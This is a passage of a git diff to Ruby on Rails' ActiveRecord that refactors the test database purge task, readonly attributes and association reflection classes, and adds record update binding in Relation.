- case abcs['test']['adapter']
- when /mysql/, /postgresql/, /sqlite/
- ActiveRecord::Tasks::DatabaseTasks.purge abcs['test']
- when 'sqlserver'
- test = abcs.deep_dup['test']
- test_database = test['database']
- test['database'] = 'master'
- ActiveRecord::Base.establish_connection(test)
- ActiveRecord::Base.connection.recreate_database!(test_database)
- when "oci", "oracle"
- ActiveRecord::Base.establish_connection(:test)
- ActiveRecord::Base.connection.structure_drop.split(";\n\n").each do |ddl|
- ActiveRecord::Base.connection.execute(ddl)
- end
- when 'firebird'
- ActiveRecord::Base.establish_connection(:test)
- ActiveRecord::Base.connection.recreate_database!
- else
- raise "Task not supported by '#{abcs['test']['adapter']}'"
- end
+ task :purge => %w(environment load_config) do
+ ActiveRecord::Tasks::DatabaseTasks.purge ActiveRecord::Base.configurations['test']
end
# desc 'Check for pending migrations and load the test schema'
- task :prepare => 'db:abort_if_pending_migrations' do
+ task :prepare => %w(environment load_config) do
unless ActiveRecord::Base.configurations.blank?
db_namespace['test:load'].invoke
end
@@ -416,9 +366,9 @@ namespace :railties do
namespace :install do
# desc "Copies missing migrations from Railties (e.g. engines). You can specify Railties to use with FROM=railtie1,railtie2"
task :migrations => :'db:load_config' do
- to_load = ENV['FROM'].blank? ? :all : ENV['FROM'].split(",").map {|n| n.strip }
+ to_load = ENV['FROM'].blank? ? :all : ENV['FROM'].split(",").map(&:strip)
railties = {}
- Rails.application.railties.each do |railtie|
+ Rails.application.migration_railties.each do |railtie|
next unless to_load == :all || to_load.include?(railtie.railtie_name)
if railtie.respond_to?(:paths) && (path = railtie.paths['db/migrate'].first)
@@ -430,7 +380,7 @@ namespace :railties do
puts "NOTE: Migration #{migration.basename} from #{name} has been skipped. Migration with the same name already exists."
end
- on_copy = Proc.new do |name, migration, old_path|
+ on_copy = Proc.new do |name, migration|
puts "Copied migration #{migration.basename} from #{name}"
end
@@ -439,6 +389,3 @@ namespace :railties do
end
end
end
-
-task 'test:prepare' => 'db:test:prepare'
-
diff --git a/activerecord/lib/active_record/readonly_attributes.rb b/activerecord/lib/active_record/readonly_attributes.rb
index 8499bb16e7..ce78f1756d 100644
--- a/activerecord/lib/active_record/readonly_attributes.rb
+++ b/activerecord/lib/active_record/readonly_attributes.rb
@@ -1,4 +1,3 @@
-
module ActiveRecord
module ReadonlyAttributes
extend ActiveSupport::Concern
@@ -12,7 +11,7 @@ module ActiveRecord
# Attributes listed as readonly will be used to create a new record but update operations will
# ignore these fields.
def attr_readonly(*attributes)
- self._attr_readonly = Set.new(attributes.map { |a| a.to_s }) + (self._attr_readonly || [])
+ self._attr_readonly = Set.new(attributes.map(&:to_s)) + (self._attr_readonly || [])
end
# Returns an array of all the attributes that have been specified as readonly.
@@ -20,11 +19,5 @@ module ActiveRecord
self._attr_readonly
end
end
-
- def _attr_readonly
- message = "Instance level _attr_readonly method is deprecated, please use class level method."
- ActiveSupport::Deprecation.warn message
- defined?(@_attr_readonly) ? @_attr_readonly : self.class._attr_readonly
- end
end
end
diff --git a/activerecord/lib/active_record/reflection.rb b/activerecord/lib/active_record/reflection.rb
index bcfcb061f2..96520d1d49 100644
--- a/activerecord/lib/active_record/reflection.rb
+++ b/activerecord/lib/active_record/reflection.rb
@@ -1,3 +1,5 @@
+require 'thread'
+require 'active_support/core_ext/string/filters'
module ActiveRecord
# = Active Record Reflection
@@ -5,11 +7,39 @@ module ActiveRecord
extend ActiveSupport::Concern
included do
- class_attribute :reflections
- self.reflections = {}
+ class_attribute :_reflections
+ class_attribute :aggregate_reflections
+ self._reflections = {}
+ self.aggregate_reflections = {}
end
- # Reflection enables to interrogate Active Record classes and objects
+ def self.create(macro, name, scope, options, ar)
+ klass = case macro
+ when :composed_of
+ AggregateReflection
+ when :has_many
+ HasManyReflection
+ when :has_one
+ HasOneReflection
+ when :belongs_to
+ BelongsToReflection
+ else
+ raise "Unsupported Macro: #{macro}"
+ end
+
+ reflection = klass.new(name, scope, options, ar)
+ options[:through] ? ThroughReflection.new(reflection) : reflection
+ end
+
+ def self.add_reflection(ar, name, reflection)
+ ar._reflections = ar._reflections.merge(name.to_s => reflection)
+ end
+
+ def self.add_aggregate_reflection(ar, name, reflection)
+ ar.aggregate_reflections = ar.aggregate_reflections.merge(name.to_s => reflection)
+ end
+
+ # \Reflection enables interrogating of Active Record classes and objects
# about their associations and aggregations. This information can,
# for example, be used in a form builder that takes an Active Record object
# and creates input fields for all of the attributes depending on their type
@@ -18,22 +48,9 @@ module ActiveRecord
# MacroReflection class has info for AggregateReflection and AssociationReflection
# classes.
module ClassMethods
- def create_reflection(macro, name, scope, options, active_record)
- case macro
- when :has_many, :belongs_to, :has_one, :has_and_belongs_to_many
- klass = options[:through] ? ThroughReflection : AssociationReflection
- reflection = klass.new(macro, name, scope, options, active_record)
- when :composed_of
- reflection = AggregateReflection.new(macro, name, scope, options, active_record)
- end
-
- self.reflections = self.reflections.merge(name => reflection)
- reflection
- end
-
# Returns an array of AggregateReflection objects for all the aggregations in the class.
def reflect_on_all_aggregations
- reflections.values.grep(AggregateReflection)
+ aggregate_reflections.values
end
# Returns the AggregateReflection object for the named +aggregation+ (use the symbol).
@@ -41,8 +58,25 @@ module ActiveRecord
# Account.reflect_on_aggregation(:balance) # => the balance AggregateReflection
#
def reflect_on_aggregation(aggregation)
- reflection = reflections[aggregation]
- reflection if reflection.is_a?(AggregateReflection)
+ aggregate_reflections[aggregation.to_s]
+ end
+
+ # Returns a Hash of name of the reflection as the key and a AssociationReflection as the value.
+ #
+ # Account.reflections # => {"balance" => AggregateReflection}
+ #
+ # @api public
+ def reflections
+ ref = {}
+ _reflections.each do |name, reflection|
+ parent_name, parent_reflection = reflection.parent_reflection
+ if parent_name
+ ref[parent_name] = parent_reflection
+ else
+ ref[name] = reflection
+ end
+ end
+ ref
end
# Returns an array of AssociationReflection objects for all the
@@ -55,8 +89,9 @@ module ActiveRecord
# Account.reflect_on_all_associations # returns an array of all associations
# Account.reflect_on_all_associations(:has_many) # returns an array of all has_many associations
#
+ # @api public
def reflect_on_all_associations(macro = nil)
- association_reflections = reflections.values.grep(AssociationReflection)
+ association_reflections = reflections.values
macro ? association_reflections.select { |reflection| reflection.macro == macro } : association_reflections
end
@@ -65,68 +100,126 @@ module ActiveRecord
# Account.reflect_on_association(:owner) # returns the owner AssociationReflection
# Invoice.reflect_on_association(:line_items).macro # returns :has_many
#
+ # @api public
def reflect_on_association(association)
- reflection = reflections[association]
- reflection if reflection.is_a?(AssociationReflection)
+ reflections[association.to_s]
+ end
+
+ # @api private
+ def _reflect_on_association(association) #:nodoc:
+ _reflections[association.to_s]
end
# Returns an array of AssociationReflection objects for all associations which have <tt>:autosave</tt> enabled.
+ #
+ # @api public
def reflect_on_all_autosave_associations
reflections.values.select { |reflection| reflection.options[:autosave] }
end
end
- # Abstract base class for AggregateReflection and AssociationReflection. Objects of
+ # Holds all the methods that are shared between MacroReflection, AssociationReflection
+ # and ThroughReflection
+ class AbstractReflection # :nodoc:
+ def table_name
+ klass.table_name
+ end
+
+ # Returns a new, unsaved instance of the associated class. +attributes+ will
+ # be passed to the class's constructor.
+ def build_association(attributes, &block)
+ klass.new(attributes, &block)
+ end
+
+ def quoted_table_name
+ klass.quoted_table_name
+ end
+
+ def primary_key_type
+ klass.type_for_attribute(klass.primary_key)
+ end
+
+ # Returns the class name for the macro.
+ #
+ # <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>'Money'</tt>
+ # <tt>has_many :clients</tt> returns <tt>'Client'</tt>
+ def class_name
+ @class_name ||= (options[:class_name] || derive_class_name).to_s
+ end
+
+ JoinKeys = Struct.new(:key, :foreign_key) # :nodoc:
+
+ def join_keys(assoc_klass)
+ JoinKeys.new(foreign_key, active_record_primary_key)
+ end
+
+ def source_macro
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ ActiveRecord::Base.source_macro is deprecated and will be removed
+ without replacement.
+ MSG
+
+ macro
+ end
+ end
+ # Base class for AggregateReflection and AssociationReflection. Objects of
# AggregateReflection and AssociationReflection are returned by the Reflection::ClassMethods.
- class MacroReflection
+ #
+ # MacroReflection
+ # AssociationReflection
+ # AggregateReflection
+ # HasManyReflection
+ # HasOneReflection
+ # BelongsToReflection
+ # ThroughReflection
+ class MacroReflection < AbstractReflection
# Returns the name of the macro.
#
# <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>:balance</tt>
# <tt>has_many :clients</tt> returns <tt>:clients</tt>
attr_reader :name
- # Returns the macro type.
- #
- # <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>:composed_of</tt>
- # <tt>has_many :clients</tt> returns <tt>:has_many</tt>
- attr_reader :macro
-
attr_reader :scope
# Returns the hash of options used for the macro.
#
# <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>{ class_name: "Money" }</tt>
- # <tt>has_many :clients</tt> returns +{}+
+ # <tt>has_many :clients</tt> returns <tt>{}</tt>
attr_reader :options
attr_reader :active_record
attr_reader :plural_name # :nodoc:
- def initialize(macro, name, scope, options, active_record)
- @macro = macro
+ def initialize(name, scope, options, active_record)
@name = name
@scope = scope
@options = options
@active_record = active_record
+ @klass = options[:class]
@plural_name = active_record.pluralize_table_names ?
name.to_s.pluralize : name.to_s
end
+ def autosave=(autosave)
+ @automatic_inverse_of = false
+ @options[:autosave] = autosave
+ _, parent_reflection = self.parent_reflection
+ if parent_reflection
+ parent_reflection.autosave = autosave
+ end
+ end
+
# Returns the class for the macro.
#
# <tt>composed_of :balance, class_name: 'Money'</tt> returns the Money class
# <tt>has_many :clients</tt> returns the Client class
def klass
- @klass ||= class_name.constantize
+ @klass ||= compute_class(class_name)
end
- # Returns the class name for the macro.
- #
- # <tt>composed_of :balance, class_name: 'Money'</tt> returns <tt>'Money'</tt>
- # <tt>has_many :clients</tt> returns <tt>'Client'</tt>
- def class_name
- @class_name ||= (options[:class_name] || derive_class_name).to_s
+ def compute_class(name)
+ name.constantize
end
# Returns +true+ if +self+ and +other_aggregation+ have the same +name+ attribute, +active_record+ attribute,
@@ -135,7 +228,7 @@ module ActiveRecord
super ||
other_aggregation.kind_of?(self.class) &&
name == other_aggregation.name &&
- other_aggregation.options &&
+ !other_aggregation.options.nil? &&
active_record == other_aggregation.active_record
end
@@ -171,26 +264,38 @@ module ActiveRecord
# a new association object. Use +build_association+ or +create_association+
# instead. This allows plugins to hook into association object creation.
def klass
- @klass ||= active_record.send(:compute_type, class_name)
+ @klass ||= compute_class(class_name)
end
- def initialize(*args)
- super
- @collection = [:has_many, :has_and_belongs_to_many].include?(macro)
+ def compute_class(name)
+ active_record.send(:compute_type, name)
end
- # Returns a new, unsaved instance of the associated class. +attributes+ will
- # be passed to the class's constructor.
- def build_association(attributes, &block)
- klass.new(attributes, &block)
- end
+ attr_reader :type, :foreign_type
+ attr_accessor :parent_reflection # [:name, Reflection]
- def table_name
- @table_name ||= klass.table_name
+ def initialize(name, scope, options, active_record)
+ super
+ @automatic_inverse_of = nil
+ @type = options[:as] && "#{options[:as]}_type"
+ @foreign_type = options[:foreign_type] || "#{name}_type"
+ @constructable = calculate_constructable(macro, options)
+ @association_scope_cache = {}
+ @scope_lock = Mutex.new
+ end
+
+ def association_scope_cache(conn, owner)
+ key = conn.prepared_statements
+ if polymorphic?
+ key = [key, owner._read_attribute(@foreign_type)]
+ end
+ @association_scope_cache[key] ||= @scope_lock.synchronize {
+ @association_scope_cache[key] ||= yield
+ }
end
- def quoted_table_name
- @quoted_table_name ||= klass.quoted_table_name
+ def constructable? # :nodoc:
+ @constructable
end
def join_table
@@ -201,18 +306,6 @@ module ActiveRecord
@foreign_key ||= options[:foreign_key] || derive_foreign_key
end
- def foreign_type
- @foreign_type ||= options[:foreign_type] || "#{name}_type"
- end
-
- def type
- @type ||= options[:as] && "#{options[:as]}_type"
- end
-
- def primary_key_column
- @primary_key_column ||= klass.columns.find { |c| c.name == klass.primary_key }
- end
-
def association_foreign_key
@association_foreign_key ||= options[:association_foreign_key] || class_name.foreign_key
end
@@ -234,36 +327,44 @@ module ActiveRecord
end
end
- def columns(tbl_name)
- @columns ||= klass.connection.columns(tbl_name)
- end
-
- def reset_column_information
- @columns = nil
- end
-
def check_validity!
check_validity_of_inverse!
-
- if has_and_belongs_to_many? && association_foreign_key == foreign_key
- raise HasAndBelongsToManyAssociationForeignKeyNeeded.new(self)
- end
end
def check_validity_of_inverse!
- unless options[:polymorphic]
+ unless polymorphic?
if has_inverse? && inverse_of.nil?
raise InverseOfAssociationNotFoundError.new(self)
end
end
end
+ def check_preloadable!
+ return unless scope
+
+ if scope.arity > 0
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ The association scope '#{name}' is instance dependent (the scope
+ block takes an argument). Preloading happens before the individual
+ instances are created. This means that there is no instance being
+ passed to the association scope. This will most likely result in
+ broken or incorrect behavior. Joining, Preloading and eager loading
+ of these associations is deprecated and will be removed in the future.
+ MSG
+ end
+ end
+ alias :check_eager_loadable! :check_preloadable!
+
+ def join_id_for(owner) # :nodoc:
+ owner[active_record_primary_key]
+ end
+
def through_reflection
nil
end
def source_reflection
- nil
+ self
end
# A chain of reflections from this one back to the owner. For more see the explanation in
@@ -282,21 +383,19 @@ module ActiveRecord
scope ? [[scope]] : [[]]
end
- alias :source_macro :macro
-
def has_inverse?
- @options[:inverse_of]
+ inverse_name
end
def inverse_of
- if has_inverse?
- @inverse_of ||= klass.reflect_on_association(options[:inverse_of])
- end
+ return unless inverse_name
+
+ @inverse_of ||= klass._reflect_on_association inverse_name
end
def polymorphic_inverse_of(associated_class)
if has_inverse?
- if inverse_relationship = associated_class.reflect_on_association(options[:inverse_of])
+ if inverse_relationship = associated_class._reflect_on_association(options[:inverse_of])
inverse_relationship
else
raise InverseOfAssociationNotFoundError.new(self, associated_class)
@@ -304,11 +403,16 @@ module ActiveRecord
end
end
+ # Returns the macro type.
+ #
+ # <tt>has_many :clients</tt> returns <tt>:has_many</tt>
+ def macro; raise NotImplementedError; end
+
# Returns whether or not this association reflection is for a collection
# association. Returns +true+ if the +macro+ is either +has_many+ or
# +has_and_belongs_to_many+, +false+ otherwise.
def collection?
- @collection
+ false
end
# Returns whether or not the association should be validated as part of
@@ -321,28 +425,23 @@ module ActiveRecord
# * you use autosave; <tt>autosave: true</tt>
# * the association is a +has_many+ association
def validate?
- !options[:validate].nil? ? options[:validate] : (options[:autosave] == true || macro == :has_many)
+ !options[:validate].nil? ? options[:validate] : (options[:autosave] == true || collection?)
end
# Returns +true+ if +self+ is a +belongs_to+ reflection.
- def belongs_to?
- macro == :belongs_to
- end
+ def belongs_to?; false; end
- def has_and_belongs_to_many?
- macro == :has_and_belongs_to_many
- end
+ # Returns +true+ if +self+ is a +has_one+ reflection.
+ def has_one?; false; end
def association_class
case macro
when :belongs_to
- if options[:polymorphic]
+ if polymorphic?
Associations::BelongsToPolymorphicAssociation
else
Associations::BelongsToAssociation
end
- when :has_and_belongs_to_many
- Associations::HasAndBelongsToManyAssociation
when :has_many
if options[:through]
Associations::HasManyThroughAssociation
@@ -359,14 +458,99 @@ module ActiveRecord
end
def polymorphic?
- options.key? :polymorphic
+ options[:polymorphic]
end
+ VALID_AUTOMATIC_INVERSE_MACROS = [:has_many, :has_one, :belongs_to]
+ INVALID_AUTOMATIC_INVERSE_OPTIONS = [:conditions, :through, :polymorphic, :foreign_key]
+
+ protected
+
+ def actual_source_reflection # FIXME: this is a horrible name
+ self
+ end
+
private
+
+ def calculate_constructable(macro, options)
+ case macro
+ when :belongs_to
+ !polymorphic?
+ when :has_one
+ !options[:through]
+ else
+ true
+ end
+ end
+
+ # Attempts to find the inverse association name automatically.
+ # If it cannot find a suitable inverse association name, it returns
+ # nil.
+ def inverse_name
+ options.fetch(:inverse_of) do
+ if @automatic_inverse_of == false
+ nil
+ else
+ @automatic_inverse_of ||= automatic_inverse_of
+ end
+ end
+ end
+
+ # returns either nil or the inverse association name that it finds.
+ def automatic_inverse_of
+ if can_find_inverse_of_automatically?(self)
+ inverse_name = ActiveSupport::Inflector.underscore(options[:as] || active_record.name).to_sym
+
+ begin
+ reflection = klass._reflect_on_association(inverse_name)
+ rescue NameError
+ # Give up: we couldn't compute the klass type so we won't be able
+ # to find any associations either.
+ reflection = false
+ end
+
+ if valid_inverse_reflection?(reflection)
+ return inverse_name
+ end
+ end
+
+ false
+ end
+
+ # Checks if the inverse reflection that is returned from the
+ # +automatic_inverse_of+ method is a valid reflection. We must
+ # make sure that the reflection's active_record name matches up
+ # with the current reflection's klass name.
+ #
+ # Note: klass will always be valid because when there's a NameError
+ # from calling +klass+, +reflection+ will already be set to false.
+ def valid_inverse_reflection?(reflection)
+ reflection &&
+ klass.name == reflection.active_record.name &&
+ can_find_inverse_of_automatically?(reflection)
+ end
+
+ # Checks to see if the reflection doesn't have any options that prevent
+ # us from being able to guess the inverse automatically. First, the
+ # <tt>inverse_of</tt> option cannot be set to false. Second, we must
+ # have <tt>has_many</tt>, <tt>has_one</tt>, <tt>belongs_to</tt> associations.
+ # Third, we must not have options such as <tt>:polymorphic</tt> or
+ # <tt>:foreign_key</tt> which prevent us from correctly guessing the
+ # inverse association.
+ #
+ # Anything with a scope can additionally ruin our attempt at finding an
+ # inverse, so we exclude reflections with scopes.
+ def can_find_inverse_of_automatically?(reflection)
+ reflection.options[:inverse_of] != false &&
+ VALID_AUTOMATIC_INVERSE_MACROS.include?(reflection.macro) &&
+ !INVALID_AUTOMATIC_INVERSE_OPTIONS.any? { |opt| reflection.options[opt] } &&
+ !reflection.scope
+ end
+
def derive_class_name
- class_name = name.to_s.camelize
+ class_name = name.to_s
class_name = class_name.singularize if collection?
- class_name
+ class_name.camelize
end
def derive_foreign_key
@@ -380,7 +564,7 @@ module ActiveRecord
end
def derive_join_table
- [active_record.table_name, klass.table_name].sort.join("\0").gsub(/^(.*_)(.+)\0\1(.+)/, '\1\2_\3').gsub("\0", "_")
+ ModelSchema.derive_join_table_name active_record.table_name, klass.table_name
end
def primary_key(klass)
@@ -388,13 +572,75 @@ module ActiveRecord
end
end
+ class HasManyReflection < AssociationReflection # :nodoc:
+ def initialize(name, scope, options, active_record)
+ super(name, scope, options, active_record)
+ end
+
+ def macro; :has_many; end
+
+ def collection?; true; end
+ end
+
+ class HasOneReflection < AssociationReflection # :nodoc:
+ def initialize(name, scope, options, active_record)
+ super(name, scope, options, active_record)
+ end
+
+ def macro; :has_one; end
+
+ def has_one?; true; end
+ end
+
+ class BelongsToReflection < AssociationReflection # :nodoc:
+ def initialize(name, scope, options, active_record)
+ super(name, scope, options, active_record)
+ end
+
+ def macro; :belongs_to; end
+
+ def belongs_to?; true; end
+
+ def join_keys(assoc_klass)
+ key = polymorphic? ? association_primary_key(assoc_klass) : association_primary_key
+ JoinKeys.new(key, foreign_key)
+ end
+
+ def join_id_for(owner) # :nodoc:
+ owner[foreign_key]
+ end
+ end
+
+ class HasAndBelongsToManyReflection < AssociationReflection # :nodoc:
+ def initialize(name, scope, options, active_record)
+ super
+ end
+
+ def macro; :has_and_belongs_to_many; end
+
+ def collection?
+ true
+ end
+ end
+
# Holds all the meta-data about a :through association as it was specified
# in the Active Record class.
- class ThroughReflection < AssociationReflection #:nodoc:
+ class ThroughReflection < AbstractReflection #:nodoc:
+ attr_reader :delegate_reflection
delegate :foreign_key, :foreign_type, :association_foreign_key,
:active_record_primary_key, :type, :to => :source_reflection
- # Gets the source of the through reflection. It checks both a singularized
+ def initialize(delegate_reflection)
+ @delegate_reflection = delegate_reflection
+ @klass = delegate_reflection.options[:class]
+ @source_reflection_name = delegate_reflection.options[:source]
+ end
+
+ def klass
+ @klass ||= delegate_reflection.compute_class(class_name)
+ end
+
+ # Returns the source of the through reflection. It checks both a singularized
# and pluralized form for <tt>:belongs_to</tt> or <tt>:has_many</tt>.
#
# class Post < ActiveRecord::Base
@@ -402,8 +648,17 @@ module ActiveRecord
# has_many :tags, through: :taggings
# end
#
+ # class Tagging < ActiveRecord::Base
+ # belongs_to :post
+ # belongs_to :tag
+ # end
+ #
+ # tags_reflection = Post.reflect_on_association(:tags)
+ # tags_reflection.source_reflection
+ # # => <ActiveRecord::Reflection::BelongsToReflection: @name=:tag, @active_record=Tagging, @plural_name="tags">
+ #
def source_reflection
- @source_reflection ||= source_reflection_names.collect { |name| through_reflection.klass.reflect_on_association(name) }.compact.first
+ through_reflection.klass._reflect_on_association(source_reflection_name)
end
# Returns the AssociationReflection object specified in the <tt>:through</tt> option
@@ -415,10 +670,11 @@ module ActiveRecord
# end
#
# tags_reflection = Post.reflect_on_association(:tags)
- # taggings_reflection = tags_reflection.through_reflection
+ # tags_reflection.through_reflection
+ # # => <ActiveRecord::Reflection::HasManyReflection: @name=:taggings, @active_record=Post, @plural_name="taggings">
#
def through_reflection
- @through_reflection ||= active_record.reflect_on_association(options[:through])
+ active_record._reflect_on_association(options[:through])
end
# Returns an array of reflections which are involved in this association. Each item in the
@@ -427,9 +683,22 @@ module ActiveRecord
# The chain is built by recursively calling #chain on the source reflection and the through
# reflection. The base case for the recursion is a normal association, which just returns
# [self] as its #chain.
+ #
+ # class Post < ActiveRecord::Base
+ # has_many :taggings
+ # has_many :tags, through: :taggings
+ # end
+ #
+ # tags_reflection = Post.reflect_on_association(:tags)
+ # tags_reflection.chain
+ # # => [<ActiveRecord::Reflection::ThroughReflection: @delegate_reflection=#<ActiveRecord::Reflection::HasManyReflection: @name=:tags...>,
+ # <ActiveRecord::Reflection::HasManyReflection: @name=:taggings, @options={}, @active_record=Post>]
+ #
def chain
@chain ||= begin
- chain = source_reflection.chain + through_reflection.chain
+ a = source_reflection.chain
+ b = through_reflection.chain
+ chain = a + b
chain[0] = self # Use self so we don't lose the information from :source_type
chain
end
@@ -461,11 +730,14 @@ module ActiveRecord
# Add to it the scope from this reflection (if any)
scope_chain.first << scope if scope
- through_scope_chain = through_reflection.scope_chain
+ through_scope_chain = through_reflection.scope_chain.map(&:dup)
if options[:source_type]
- through_scope_chain.first <<
- through_reflection.klass.where(foreign_type => options[:source_type])
+ type = foreign_type
+ source_type = options[:source_type]
+ through_scope_chain.first << lambda { |object|
+ where(type => source_type)
+ }
end
# Recursively fill out the rest of the array from the through reflection
@@ -473,14 +745,23 @@ module ActiveRecord
end
end
+ def join_keys(assoc_klass)
+ source_reflection.join_keys(assoc_klass)
+ end
+
# The macro used by the source association
def source_macro
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ ActiveRecord::Base.source_macro is deprecated and will be removed
+ without replacement.
+ MSG
+
source_reflection.source_macro
end
# A through association is nested if there would be more than one join table
def nested?
- chain.length > 2 || through_reflection.macro == :has_and_belongs_to_many
+ chain.length > 2
end
# We want to use the klass from this reflection, rather than just delegate straight to
@@ -489,20 +770,45 @@ module ActiveRecord
def association_primary_key(klass = nil)
# Get the "actual" source reflection if the immediate source reflection has a
# source reflection itself
- source_reflection = self.source_reflection
- while source_reflection.source_reflection
- source_reflection = source_reflection.source_reflection
- end
-
- source_reflection.options[:primary_key] || primary_key(klass || self.klass)
+ actual_source_reflection.options[:primary_key] || primary_key(klass || self.klass)
end
- # Gets an array of possible <tt>:through</tt> source reflection names:
+ # Gets an array of possible <tt>:through</tt> source reflection names in both singular and plural form.
+ #
+ # class Post < ActiveRecord::Base
+ # has_many :taggings
+ # has_many :tags, through: :taggings
+ # end
#
- # [:singularized, :pluralized]
+ # tags_reflection = Post.reflect_on_association(:tags)
+ # tags_reflection.source_reflection_names
+ # # => [:tag, :tags]
#
def source_reflection_names
- @source_reflection_names ||= (options[:source] ? [options[:source]] : [name.to_s.singularize, name]).collect { |n| n.to_sym }
+ options[:source] ? [options[:source]] : [name.to_s.singularize, name].uniq
+ end
+
+ def source_reflection_name # :nodoc:
+ return @source_reflection_name if @source_reflection_name
+
+ names = [name.to_s.singularize, name].collect(&:to_sym).uniq
+ names = names.find_all { |n|
+ through_reflection.klass._reflect_on_association(n)
+ }
+
+ if names.length > 1
+ example_options = options.dup
+ example_options[:source] = source_reflection_names.first
+ ActiveSupport::Deprecation.warn \
+ "Ambiguous source reflection for through association. Please " \
+ "specify a :source directive on your declaration like:\n" \
+ "\n" \
+ " class #{active_record.name} < ActiveRecord::Base\n" \
+ " #{macro} :#{name}, #{example_options}\n" \
+ " end"
+ end
+
+ @source_reflection_name = names.first
end
def source_options
@@ -513,39 +819,63 @@ module ActiveRecord
through_reflection.options
end
+ def join_id_for(owner) # :nodoc:
+ source_reflection.join_id_for(owner)
+ end
+
def check_validity!
if through_reflection.nil?
raise HasManyThroughAssociationNotFoundError.new(active_record.name, self)
end
- if through_reflection.options[:polymorphic]
- raise HasManyThroughAssociationPolymorphicThroughError.new(active_record.name, self)
+ if through_reflection.polymorphic?
+ if has_one?
+ raise HasOneAssociationPolymorphicThroughError.new(active_record.name, self)
+ else
+ raise HasManyThroughAssociationPolymorphicThroughError.new(active_record.name, self)
+ end
end
if source_reflection.nil?
raise HasManyThroughSourceAssociationNotFoundError.new(self)
end
- if options[:source_type] && source_reflection.options[:polymorphic].nil?
+ if options[:source_type] && !source_reflection.polymorphic?
raise HasManyThroughAssociationPointlessSourceTypeError.new(active_record.name, self, source_reflection)
end
- if source_reflection.options[:polymorphic] && options[:source_type].nil?
+ if source_reflection.polymorphic? && options[:source_type].nil?
raise HasManyThroughAssociationPolymorphicSourceError.new(active_record.name, self, source_reflection)
end
- if macro == :has_one && through_reflection.collection?
+ if has_one? && through_reflection.collection?
raise HasOneThroughCantAssociateThroughCollection.new(active_record.name, self, through_reflection)
end
check_validity_of_inverse!
end
+ protected
+
+ def actual_source_reflection # FIXME: this is a horrible name
+ source_reflection.send(:actual_source_reflection)
+ end
+
+ def primary_key(klass)
+ klass.primary_key || raise(UnknownPrimaryKey.new(klass))
+ end
+
private
def derive_class_name
# get the class_name of the belongs_to association of the through reflection
options[:source_type] || source_reflection.class_name
end
+
+ delegate_methods = AssociationReflection.public_instance_methods -
+ public_instance_methods
+
+ delegate(*delegate_methods, to: :delegate_reflection)
+
end
end
end
diff --git a/activerecord/lib/active_record/relation.rb b/activerecord/lib/active_record/relation.rb
index 0df895eb67..daafb0b645 100644
--- a/activerecord/lib/active_record/relation.rb
+++ b/activerecord/lib/active_record/relation.rb
@@ -1,34 +1,32 @@
# -*- coding: utf-8 -*-
+require 'arel/collectors/bind'
module ActiveRecord
# = Active Record Relation
class Relation
- JoinOperation = Struct.new(:relation, :join_class, :on)
-
MULTI_VALUE_METHODS = [:includes, :eager_load, :preload, :select, :group,
:order, :joins, :where, :having, :bind, :references,
- :extending]
+ :extending, :unscope]
SINGLE_VALUE_METHODS = [:limit, :offset, :lock, :readonly, :from, :reordering,
- :reverse_order, :uniq, :create_with]
+ :reverse_order, :distinct, :create_with, :uniq]
+ INVALID_METHODS_FOR_DELETE_ALL = [:limit, :distinct, :offset, :group, :having]
VALUE_METHODS = MULTI_VALUE_METHODS + SINGLE_VALUE_METHODS
include FinderMethods, Calculations, SpawnMethods, QueryMethods, Batches, Explain, Delegation
attr_reader :table, :klass, :loaded
- attr_accessor :default_scoped
alias :model :klass
alias :loaded? :loaded
- alias :default_scoped? :default_scoped
def initialize(klass, table, values = {})
- @klass = klass
- @table = table
- @values = values
- @implicit_readonly = nil
- @loaded = false
- @default_scoped = false
+ @klass = klass
+ @table = table
+ @values = values
+ @offsets = {}
+ @loaded = false
+ @predicate_builder = PredicateBuilder.new(klass, table)
end
def initialize_copy(other)
@@ -39,7 +37,7 @@ module ActiveRecord
reset
end
- def insert(values)
+ def insert(values) # :nodoc:
primary_key_value = nil
if primary_key && Hash === values
@@ -56,16 +54,7 @@ module ActiveRecord
im = arel.create_insert
im.into @table
- conn = @klass.connection
-
- substitutes = values.sort_by { |arel_attr,_| arel_attr.name }
- binds = substitutes.map do |arel_attr, value|
- [@klass.columns_hash[arel_attr.name], value]
- end
-
- substitutes.each_with_index do |tuple, i|
- tuple[1] = conn.substitute_at(binds[i][0], i)
- end
+ substitutes, binds = substitute_values values
if values.empty? # empty insert
im.values = Arel.sql(connection.empty_insert_statement_value)
@@ -73,7 +62,7 @@ module ActiveRecord
im.insert substitutes
end
- conn.insert(
+ @klass.connection.insert(
im,
'SQL',
primary_key,
@@ -82,6 +71,40 @@ module ActiveRecord
binds)
end
+ def _update_record(values, id, id_was) # :nodoc:
+ substitutes, binds = substitute_values values
+
+ scope = @klass.unscoped
+
+ if @klass.finder_needs_type_condition?
+ scope.unscope!(where: @klass.inheritance_column)
+ end
+
+ relation = scope.where(@klass.primary_key => (id_was || id))
+ bvs = binds + relation.bind_values
+ um = relation
+ .arel
+ .compile_update(substitutes, @klass.primary_key)
+
+ @klass.connection.update(
+ um,
+ 'SQL',
+ bvs,
+ )
+ end
+
+ def substitute_values(values) # :nodoc:
+ binds = values.map do |arel_attr, value|
+ [@klass.columns_hash[arel_attr.name], value]
+ end
+
+ substitutes = values.each_with_index.map do |(arel_attr, _), i|
+ [arel_attr, @klass.connection.substitute_at(binds[i][0])]
+ end
+
+ [substitutes, binds]
+ end
+
# Initializes new record from relation while maintaining the current
# scope.
#
@@ -141,34 +164,58 @@ module ActiveRecord
first || new(attributes, &block)
end
- # Finds the first record with the given attributes, or creates a record with the attributes
- # if one is not found.
+ # Finds the first record with the given attributes, or creates a record
+ # with the attributes if one is not found:
#
- # ==== Examples
- # # Find the first user named Penélope or create a new one.
+ # # Find the first user named "Penélope" or create a new one.
# User.find_or_create_by(first_name: 'Penélope')
- # # => <User id: 1, first_name: 'Penélope', last_name: nil>
+ # # => #<User id: 1, first_name: "Penélope", last_name: nil>
#
- # # Find the first user named Penélope or create a new one.
+ # # Find the first user named "Penélope" or create a new one.
# # We already have one so the existing record will be returned.
# User.find_or_create_by(first_name: 'Penélope')
